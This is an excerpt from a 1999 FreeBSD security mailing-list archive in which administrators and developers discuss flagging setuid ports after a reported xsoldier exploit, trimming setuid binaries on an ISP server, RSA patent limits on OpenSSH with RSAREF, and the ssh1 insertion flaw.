HAS_ROOT_SETUID= {yes,no} for the ports, although I would say give it a month or so before marking anyhing broken. ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 12: 5:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id B4FE91513C for ; Thu, 16 Dec 1999 12:05:41 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 337941B67; Thu, 16 Dec 1999 15:05:52 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14425.17951.786660.581622@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 15:05:51 -0500 (EST) To: Mike Tancsa Cc: freebsd-security@FreeBSD.ORG Subject: Re: setuid revisited (was Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) ) References: <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> <199912161828.LAA72864@harmony.village.org> <3.0.5.32.19991216143031.0192ae30@staff.sentex.ca> X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org As I mentionned before, I wrote a file in the mtree syntax that can be used to update perms to your taste. You just modify the file to your liking, and run mtree with it. http://www.iro.umontreal.ca/~beaupran/FreeBSD/setugid.txt Try it. You'll like it. :)) --- Big Brother told Mike Tancsa to write, at 14:30 of December 16: > At 01:37 PM 12/16/99 -0500, Spidey wrote: > >Yes. Since I've been looking at setuid's on FBSD, my primary concern's > >been with the ports. I wished there could be some way to have a > >variable in the Makefiles that say "NOSETUID=YES". :)) > > > Even the main tree seems a big permissive for some applications (in my > case, an ISP). There are a few things I disable each time I make world on > my shell and web server. What would be the best way to automate this and > give other people an easy way to disable unresitricted access easily to > potentially dangerous programs ? e.g. looking through > /var/log/setuid.today some of the files that look like a candidate for > chmod o-x are > > > -r-xr-sr-x 1 root kmem 100148 Dec 14 00:02:03 1999 /sbin/ccdconfig > -r-xr-sr-x 2 root tty 221752 Dec 14 00:02:05 1999 /sbin/dump > -r-xr-sr-x 2 root tty 221752 Dec 14 00:02:05 1999 /sbin/rdump > -r-xr-sr-x 2 root tty 244920 Dec 14 00:02:20 1999 /sbin/restore > -r-sr-xr-x 1 root wheel 153760 Dec 14 00:02:21 1999 /sbin/route > -r-xr-sr-x 2 root tty 244920 Dec 14 00:02:20 1999 /sbin/rrestore > -r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 /usr/bin/hoststat > -r-sr-sr-x 1 root daemon 18064 Dec 14 00:04:12 1999 /usr/bin/lpq > -r-sr-sr-x 1 root daemon 20864 Dec 14 00:04:12 1999 /usr/bin/lpr > -r-sr-sr-x 1 root daemon 17624 Dec 14 00:04:13 1999 /usr/bin/lprm > -r-s--x--x 1 root wheel 47448 Apr 26 00:34:25 1999 > /usr/bin/sperl5.00502 > -r-s--x--x 2 root wheel 47472 Dec 14 00:01:28 1999 /usr/bin/sperl5.00503 > -r-s--x--x 2 root wheel 47472 Dec 14 00:01:28 1999 /usr/bin/suidperl > -r-xr-sr-x 1 root kmem 52424 Dec 14 00:03:47 1999 /usr/bin/systat > -r-xr-sr-x 1 root kmem 14536 Dec 14 00:03:54 1999 /usr/bin/vmstat > -r-xr-sr-x 2 root kmem 10576 Dec 14 00:03:54 1999 /usr/bin/w > -r-xr-sr-x 1 root tty 8108 Dec 14 00:03:54 1999 /usr/bin/wall > -r-xr-sr-x 1 root games 6188 Dec 13 23:59:52 1999 /usr/games/dm > -rwxr-sr-x 1 root kmem 88160 Mar 18 21:39:54 1999 /usr/local/sbin/lsof > -r-xr-sr-x 1 root kmem 9472 Dec 14 00:04:09 1999 /usr/sbin/iostat > -r-xr-sr-x 1 root daemon 23968 Dec 14 00:04:12 1999 /usr/sbin/lpc > -r-sr-xr-x 1 root wheel 14528 Dec 14 00:04:15 1999 /usr/sbin/mrinfo > -r-sr-xr-x 1 root wheel 27528 Dec 14 00:04:15 1999 /usr/sbin/mtrace > -r-xr-sr-x 2 root kmem 13184 Dec 14 00:04:20 1999 /usr/sbin/pstat > -r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 > /usr/sbin/purgestat > -r-sr-x--- 1 root network 9768 Dec 14 00:04:22 1999 > /usr/sbin/sliplogin > -r-xr-sr-x 2 root kmem 13184 Dec 14 00:04:20 1999 > /usr/sbin/swapinfo > -r-sr-xr-x 1 root wheel 13440 Dec 14 00:04:24 1999 /usr/sbin/timedc > -r-xr-sr-x 1 root kmem 7036 Dec 14 00:04:25 1999 /usr/sbin/trpt > > > > Things like the printer control for example... If you dont have printing > services, why bother with the control programs. Similarly, I dont think my > users need access to vmstat or any of the backup programs, local or remote. > If a program were to be created to track these files, and suggest to the > end user a method to disabling +o access, what would be the best way to go > about designing it ? Should it just read the contents of > /var/log/setuid.today ? > > > I like Robert's idea of the > > HAS_MISC_SET_ID= {yes,no} > HAS_ROOT_SETUID= {yes,no} > > for the ports, although I would say give it a month or so before marking > anyhing broken. > > ---Mike > ------------------------------------------------------------------------ > Mike Tancsa, tel +1 519 651 3400 > Network Administrator, mike@sentex.net > Sentex Communications www.sentex.net > Cambridge, Ontario Canada > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 12:24:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id 4FB25155EF; Thu, 16 Dec 1999 12:24:08 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 92CBA1CC6; Fri, 17 Dec 1999 04:24:04 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Brian Fundakowski Feldman Cc: Mark Murray , Kris Kennaway , security@FreeBSD.org Subject: Re: OpenSSH in the base (was Re: OpenSSL update) In-Reply-To: Message from Brian Fundakowski Feldman of "Wed, 15 Dec 1999 22:37:37 EST." Date: Fri, 17 Dec 1999 04:24:04 +0800 From: Peter Wemm Message-Id: <19991216202404.92CBA1CC6@overcee.netplex.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brian Fundakowski Feldman wrote: > On Wed, 15 Dec 1999, Mark Murray wrote: > > > > Sounds great. I hope this means I get to import OpenSSH! > > > > Hell, yes! > > > > I reckon it may be better to let me do it; that way I can get > > Internat and Freefall synchronised. > > We should discuss this and its ramifications on -security. I'll move > this there :) It's not a crypto export problem, it's the RSA patent that's the problem. Any code that isn't RSAREF based for RSA support is unusable in the US. I don't think OpenSSL linked against RSAREF is useable for OpenSSH. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 12:44:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id D85B915662; Thu, 16 Dec 1999 12:44:49 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40321>; Fri, 17 Dec 1999 07:35:04 +1100 Content-return: prohibited Date: Fri, 17 Dec 1999 07:43:29 +1100 From: Peter Jeremy Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-reply-to: ; from robert@cyrus.watson.org on Fri, Dec 17, 1999 at 05:56:26AM +1100 To: Robert Watson Cc: freebsd-security@FreeBSD.ORG, asami@FreeBSD.ORG Message-Id: <99Dec17.073504est.40321@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT References: <14425.12637.308602.637788@anarcat.dyndns.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've copied to Asami-san since I believe his input is critical to any changes to the ports mechanism. On 1999-Dec-17 05:56:26 +1100, Robert Watson wrote: >Yup, it's déjà vu all over again. If you want a heavy-handed security >approach, here's how you do it. Define two new Makefile ports variables: > >HAS_MISC_SET_ID= {yes,no} >HAS_ROOT_SETUID= {yes,no} I think `MISC' is too general. I'd split it into `games' (since there seems to be a general concensus that setuid-games is the least unsavoury way to handle machine-wide high-scores files) and `misc' (in case a game wants to be setuid something else - though I can't think of any justification for other UIDs). We also need an `unsafe' marker to support the install alarms. How about adding the following as well: HAS_GAMES_SETUID= {yes,no} IS_UNSAFE= {yes,no,maybe} >Starting today, warn all ports maintainers that their ports must (ideally >correctly) define these variables for all of their ports. The middle of a ports freeze is a bad time for this. (Though, if the infrastructure was ready at the end of the ports freeze, it would make a clear transition point). > In two weeks, >any port that doesn't define both variables is marked as broken. Two weeks might be a bit short. I don't believe there's any pressing need for this (the critical deadline to meet would be the next CD-ROM pressing - which is now several months off). I would think that a month might be better (Asami-san would have a better idea of a reasonable period). >We then have an effective and mandated list of ports making use of set?id >binaries. Each one of these ports undergoes a security view by the >auditing team--not to fix bugs, just to identify whether the source code >is prone to bugs (extensive use of string functions in unsafe ways, etc) >-- a twenty minute thing. Doesn't this just build a false sense of security? A guick-and-dirty review is guaranteed to miss things (or rather, miss more things than a thorough review), as well as generate lots of false positives. How do you placate a developer/maintainer whose cherished port has been unjustly given an "unsafe" tag because the reviewer couldn't spend the time to confirm that every code path into a potentially unsafe function included the validation necessary to make the function safe? How do we respond to the (inevitable) BUGTRAQ posts which state that `the FreeBSD Security Auditing Team gave the program a clean bill of health but missed the following security hole ...'? Lest the above sound too negative, I think Robert's approach is a good idea. I'm just not sure about the details. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 12:45:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id 52AEB14F0C; Thu, 16 Dec 1999 12:45:29 -0800 (PST) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id PAA45046; Thu, 16 Dec 1999 15:44:06 -0500 (EST) (envelope-from matt@zigg.com) Date: Thu, 16 Dec 1999 15:44:00 -0500 (EST) From: Matt Behrens To: Peter Wemm Cc: Brian Fundakowski Feldman , Mark Murray , Kris Kennaway , security@FreeBSD.ORG Subject: Re: OpenSSH in the base (was Re: OpenSSL update) In-Reply-To: <19991216202404.92CBA1CC6@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, 17 Dec 1999, Peter Wemm wrote: > It's not a crypto export problem, it's the RSA patent that's the problem. > Any code that isn't RSAREF based for RSA support is unusable in the US. I > don't think OpenSSL linked against RSAREF is useable for OpenSSH. Sure it is. My OpenSSH is linked to OpenSSL is linked to RSAREF (on both my FreeBSD box and my OpenBSD box). Of course, the real ugly problem happens when you want to use RSA commercially in the US -- you can't. Noncommercially you can use RSAREF. Commercially you must get a license from RSA, which I hear is next to impossible. OpenBSD's solution to this is to have two packages that you can choose from at install time -- one without RSAREF or one with. It explains that if you are outside the US, use the one without. Inside and non-commercial, use the one with. Inside and commercial -- bzzt! out of luck. :-( September 20, 2000 is when the RSA patent expires. Matt Behrens Owner/Administrator, zigg.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.0 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE4WU8V+xq4JbgNGlMRAnj7AJ9obT77H5JAUUD2R/aXDfh/167CoACgllWo 78GJriOjBuLcRQ0Ibp9yoVc= =/D6+ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 12:47:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id E758715774; Thu, 16 Dec 1999 12:47:43 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.3/8.9.3) with ESMTP id VAA19515; Thu, 16 Dec 1999 21:47:36 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id VAA80111; Thu, 16 Dec 1999 21:47:36 +0100 (MET) Date: Thu, 16 Dec 1999 21:47:35 +0100 From: Eivind Eklund To: Peter Wemm Cc: Brian Fundakowski Feldman , Mark Murray , Kris Kennaway , security@FreeBSD.ORG Subject: Re: OpenSSH in the base (was Re: OpenSSL update) Message-ID: <19991216214735.J62815@bitbox.follo.net> References: <19991216202404.92CBA1CC6@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <19991216202404.92CBA1CC6@overcee.netplex.com.au>; from peter@netplex.com.au on Fri, Dec 17, 1999 at 04:24:04AM +0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Dec 17, 1999 at 04:24:04AM +0800, Peter Wemm wrote: > It's not a crypto export problem, it's the RSA patent that's the problem. > Any code that isn't RSAREF based for RSA support is unusable in the US. I > don't think OpenSSL linked against RSAREF is useable for OpenSSH. You think wrong. (OpenSSL linked against RSAREF is what OpenBSD use to be able to export OpenSSH to the US, which I assume mean it is usable.) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 13: 3:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id B63FE15641; Thu, 16 Dec 1999 13:03:52 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id QAA28824; Thu, 16 Dec 1999 16:03:04 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Thu, 16 Dec 1999 16:03:04 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Peter Jeremy Cc: freebsd-security@FreeBSD.ORG, asami@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-Reply-To: <99Dec17.073616est.40329@border.alcanet.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Let me introduce my response by making excuses: I spit out my suggestions off the top of my head, and was more interested in suggesting a direction than a specific set of changes. The direction, needless to say, is mandating the identification of code that introduces greater risk for consumer. Please see my rather extensive philosophical banter post that went to bugtraq a week or two ago, and was forwarded to -audit shortly afterwards. All of the suggestions you make are good ones, and I'll leave to those more familiar with the ports system determining the correct solution for their needs. On Fri, 17 Dec 1999, Peter Jeremy wrote: > I've copied to Asami-san since I believe his input is critical to any > changes to the ports mechanism. >=20 > On 1999-Dec-17 05:56:26 +1100, Robert Watson wr= ote: > >Yup, it's d=E9j=E0 vu all over again. If you want a heavy-handed securi= ty > >approach, here's how you do it. Define two new Makefile ports variables= : > > > >HAS_MISC_SET_ID=3D {yes,no} > >HAS_ROOT_SETUID=3D {yes,no} >=20 > I think `MISC' is too general. I'd split it into `games' (since there > seems to be a general concensus that setuid-games is the least > unsavoury way to handle machine-wide high-scores files) and `misc' (in > case a game wants to be setuid something else - though I can't think > of any justification for other UIDs). We also need an `unsafe' marker > to support the install alarms. How about adding the following as > well: >=20 > HAS_GAMES_SETUID=3D {yes,no} > IS_UNSAFE=3D {yes,no,maybe} I agree. MISC is far too broad; I'd suggest also a HAS_KMEM_GID, another common choice, such as for utilities like lsof. I'm still a little critical of the idea of having a games gid, and sgid games, in the first place :-). > >Starting today, warn all ports maintainers that their ports must (ideall= y > >correctly) define these variables for all of their ports. >=20 > The middle of a ports freeze is a bad time for this. (Though, if the > infrastructure was ready at the end of the ports freeze, it would > make a clear transition point). Ok, sounds good. I was vaguely aware of the ports freeze, as Warner referenced it as a reason for delaying the patch, but am not heavily involved, except as a consumer, with the ports development. > > In two weeks, > >any port that doesn't define both variables is marked as broken. >=20 > Two weeks might be a bit short. I don't believe there's any pressing > need for this (the critical deadline to meet would be the next > CD-ROM pressing - which is now several months off). I would think > that a month might be better (Asami-san would have a better idea of > a reasonable period).=20 I chose two weeks as an arbitrary but soon date. People are installing ports and packages daily, and they are rebuilt regularly and made available fro download. My goal was to set a bound that allowed port developers with immediate interest in maintaining their ports to have time to make the change, but also sufficiently short that we would reduce the risk for the ports consumers, the real target for security improvements. Out there, right now, are lots of machine maintainers that have security holes in their machines. This is *our fault*, and we do them no favor by not disabling code that we cannot be sure is safe. How about a warning then--if the Makefiles don't have appropriate *id tags by two weeks from now, Make will warn that the code has not been categorized and require "make OVERRIDE_POSSIBLE_SECURITY_PROBLEM=3Dyes" to build the code. This means the ports are still available, but raises a flag for consumers. I'm open to many varations on the theme, but think a relatively close deadline for port classification is important. See my comments below on the auditing issue. > >We then have an effective and mandated list of ports making use of set?i= d > >binaries. Each one of these ports undergoes a security view by the > >auditing team--not to fix bugs, just to identify whether the source code > >is prone to bugs (extensive use of string functions in unsafe ways, etc) > >-- a twenty minute thing. >=20 > Doesn't this just build a false sense of security? A guick-and-dirty > review is guaranteed to miss things (or rather, miss more things than > a thorough review), as well as generate lots of false positives. How > do you placate a developer/maintainer whose cherished port has been > unjustly given an "unsafe" tag because the reviewer couldn't spend the > time to confirm that every code path into a potentially unsafe function > included the validation necessary to make the function safe? How do we > respond to the (inevitable) BUGTRAQ posts which state that `the FreeBSD > Security Auditing Team gave the program a clean bill of health but > missed the following security hole ...'? It's not clear to what extent the auditing team should or should not be responsible for third party code--it's not in the audit teams mandate to go beyond the base source tree, and there's lots for them to do there. On the other hand, it makes sense to do a first path elimination of ports that are clearly insecure or have privileges elevated beyond reason. Eliminate could still imply available, just with a warning and/or confirmation. Part of the "bugtraq" problem phenomena is that we do not clearly identify which code we are and are not willing to accept responsibility for. Right now there are posts going up saying "FreeBSD security hole" because just before packages installation, we don't flash up a "This is third-party unaudited code message". We know it's third-party and unaudited, but to be honest, we don't make that clear to consumers who may not have picked it up along the way. Again, I refer you to my earlier post talking about some of the issues. I think, if possible, it would be desirable for us to have a way of rejecting some ports without implicitely improving the rest: a real security analysis is the responsibility of the application developer, not of the porter, nor us. > Lest the above sound too negative, I think Robert's approach is a good > idea. I'm just not sure about the details. I agree :-). The details are probably all wrong, but I do think the approach is the correct one: to place some onus on ports developers to take immediate action to identify risky code and permissions, and in the long run to try to screen ports that are particularly relevant to us (such as, say, apache) and run with privilege. It's also our responsibility to identify risks to users of the system in clear and easily understood ways: this helps us by making it so that we don't take the fall (and get toasted on bugtraq), and it helps the consumer by allowing them to make informed decisions about risks they take on by using particular packages, ports, etc. Robert N M Watson=20 robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 13: 4:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D7877158AA for ; Thu, 16 Dec 1999 13:04:37 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA92764; Thu, 16 Dec 1999 14:04:36 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA74270; Thu, 16 Dec 1999 14:04:36 -0700 (MST) Message-Id: <199912162104.OAA74270@harmony.village.org> To: Fernando Schapachnik Subject: Re: OpenSSH vulnerable to protocol flaw? Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 16 Dec 1999 09:06:54 -0300." <199912161207.JAA22894@ns1.via-net-works.net.ar> References: <199912161207.JAA22894@ns1.via-net-works.net.ar> Date: Thu, 16 Dec 1999 14:04:35 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199912161207.JAA22894@ns1.via-net-works.net.ar> Fernando Schapachnik writes: : In recent post to bugtraq, someone stated that ssh1 was vulnerable to : a protocol flaw which could allow a malicious party to insert : arbitrary characters in the comunication channel. : : Anybody knows if OpenSSH is vulnerable to this? OpenSSH implements the ssh1 protocol, which is vulnerable to insertion attacks like the one described in bugtraq. I don't think they have changed the protocol at all, but I'm sure someone will tell me if I'm wrong. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 13:26:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from shell.futuresouth.com (shell.futuresouth.com [198.78.58.28]) by hub.freebsd.org (Postfix) with ESMTP id B727914FCD for ; Thu, 16 Dec 1999 13:26:51 -0800 (PST) (envelope-from tim@futuresouth.com) Received: (from tim@localhost) by shell.futuresouth.com (8.9.3/8.9.3) id PAA21723; Thu, 16 Dec 1999 15:25:49 -0600 (CST) Date: Thu, 16 Dec 1999 15:25:49 -0600 From: Tim Tsai To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Message-ID: <19991216152548.A21327@futuresouth.com> References: <14425.12637.308602.637788@anarcat.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > HAS_MISC_SET_ID= {yes,no} > HAS_ROOT_SETUID= {yes,no} How about just: HAS_SETUID = {no, user[s]} example: HAS_SETUID = root HAS_SETUID = no HAS_SETUID = dialer uucp HAS_SETUID = games personally I'd also like to see a flag with Make for ports that forces installation of SETUID programs but by default rejects installation of SETUID programs. Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 13:33:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id 6418A14EFC for ; Thu, 16 Dec 1999 13:32:47 -0800 (PST) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id QAA45190; Thu, 16 Dec 1999 16:31:18 -0500 (EST) (envelope-from matt@zigg.com) Date: Thu, 16 Dec 1999 16:31:15 -0500 (EST) From: Matt Behrens To: Tim Tsai Cc: Robert Watson , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-Reply-To: <19991216152548.A21327@futuresouth.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thu, 16 Dec 1999, Tim Tsai wrote: > How about just: > > HAS_SETUID = {no, user[s]} > > example: > > HAS_SETUID = root > HAS_SETUID = no > HAS_SETUID = dialer uucp > HAS_SETUID = games I would suggest a slight modification on that, just in case we ever have a user named ``no'': HAS_SETUID = {NO, ...} i.e. HAS_SETUID = root HAS_SETUID = NO etc. Matt Behrens Owner/Administrator, zigg.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.0 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE4WVol+xq4JbgNGlMRAuz6AJ96/y4zNlALjOpe5DzjEnsS5Iy0FACeLIwf 5R2UzL/KdPFW3h81iKZO0ck= =MV2s -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 14:27:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 4B3DF156E4 for ; Thu, 16 Dec 1999 14:27:38 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40344>; Fri, 17 Dec 1999 09:18:51 +1100 Content-return: prohibited Date: Fri, 17 Dec 1999 09:27:18 +1100 From: Peter Jeremy Subject: Re: setuid revisited (was Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) ) In-reply-to: <3.0.5.32.19991216143031.0192ae30@staff.sentex.ca>; from mike@sentex.net on Fri, Dec 17, 1999 at 06:30:31AM +1100 To: Mike Tancsa Cc: freebsd-security@FreeBSD.ORG Message-Id: <99Dec17.091851est.40344@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> <199912161828.LAA72864@harmony.village.org> <14425.12637.308602.637788@anarcat.dyndns.org> <3.0.5.32.19991216143031.0192ae30@staff.sentex.ca> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1999-Dec-17 06:30:31 +1100, Mike Tancsa wrote: >Even the main tree seems a big permissive for some applications (in my >case, an ISP). Much of this is really that our install approach doesn't allow fine enough granularity to allow unwanted bits to be left off. This is one of the things that Jordan's new sysinstall will address. >-r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 /usr/bin/hoststat >-r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 /usr/sbin/purgestat These are hard-links to /usr/sbin/sendmail. If you're using sendmail as an MTA and users can locally submit mail, then it needs to be globally executable. >-r-xr-sr-x 1 root games 6188 Dec 13 23:59:52 1999 /usr/games/dm The only purpose of `dm' is to allow you to regular game playing. If you want to allow anyone to play games at any time, you could drop the setgid bit, but you'd then have to changes the permissions of (and in) /usr/games/hide. >Things like the printer control for example... If you dont have printing >services, why bother with the control programs. Which is an install issue - we should have an `lp services' box to select or ignore. > Similarly, I dont think my users need access to vmstat Probably not, but that depends on what you want to let your users do. > or any of the backup programs, local or remote. Agreed. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 15: 6:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from shadows.aeon.net (shadows.aeon.net [195.197.32.30]) by hub.freebsd.org (Postfix) with ESMTP id C55AE15663 for ; Thu, 16 Dec 1999 15:06:06 -0800 (PST) (envelope-from bsdsec@shadows.aeon.net) Received: (from bsdsec@localhost) by shadows.aeon.net (8.9.3/8.8.3) id BAA15160; Fri, 17 Dec 1999 01:06:17 +0200 (EET) From: mika ruohotie Message-Id: <199912162306.BAA15160@shadows.aeon.net> Subject: Re: setuid revisited (was Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) ) In-Reply-To: <99Dec17.091851est.40344@border.alcanet.com.au> from Peter Jeremy at "Dec 17, 1999 09:27:18 am" To: peter.jeremy@alcatel.com.au (Peter Jeremy) Date: Fri, 17 Dec 1999 01:06:17 +0200 (EET) Cc: mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >Even the main tree seems a big permissive for some applications (in my > >case, an ISP). > Much of this is really that our install approach doesn't allow fine [snip] > > Similarly, I dont think my users need access to vmstat > Probably not, but that depends on what you want to let your users do. exactly. i think it's not a good idea to make the default installation much too restrictive. if one is about to use freebsd (or any other unix) as a shell server, they have to harden the box anyway. and about everyone i know in the "business", like to do things slightly different. the default installation should leave the machine still _usable_ without assuming the user wishes to abuse root for everything. personally, i much rather hang around as user, and i _do_ use things like vmstat _lots_ in my boxen. all of which only allow _very_ limited access _into_ the machine. sure, all kinds of installation options sound nice, but they might be too hard to implement, specially since the audience for which they'd be, prefer mainly do things _themselves_ without click&drool gimmics. and i know things that i've just said have been repeated all over this list, and other lists. > Peter mickey -- company: SAUNALAHDEN SERVERI >>>^<<< Network Development email: mika.ruohotie@saunalahti.fi /?\ System 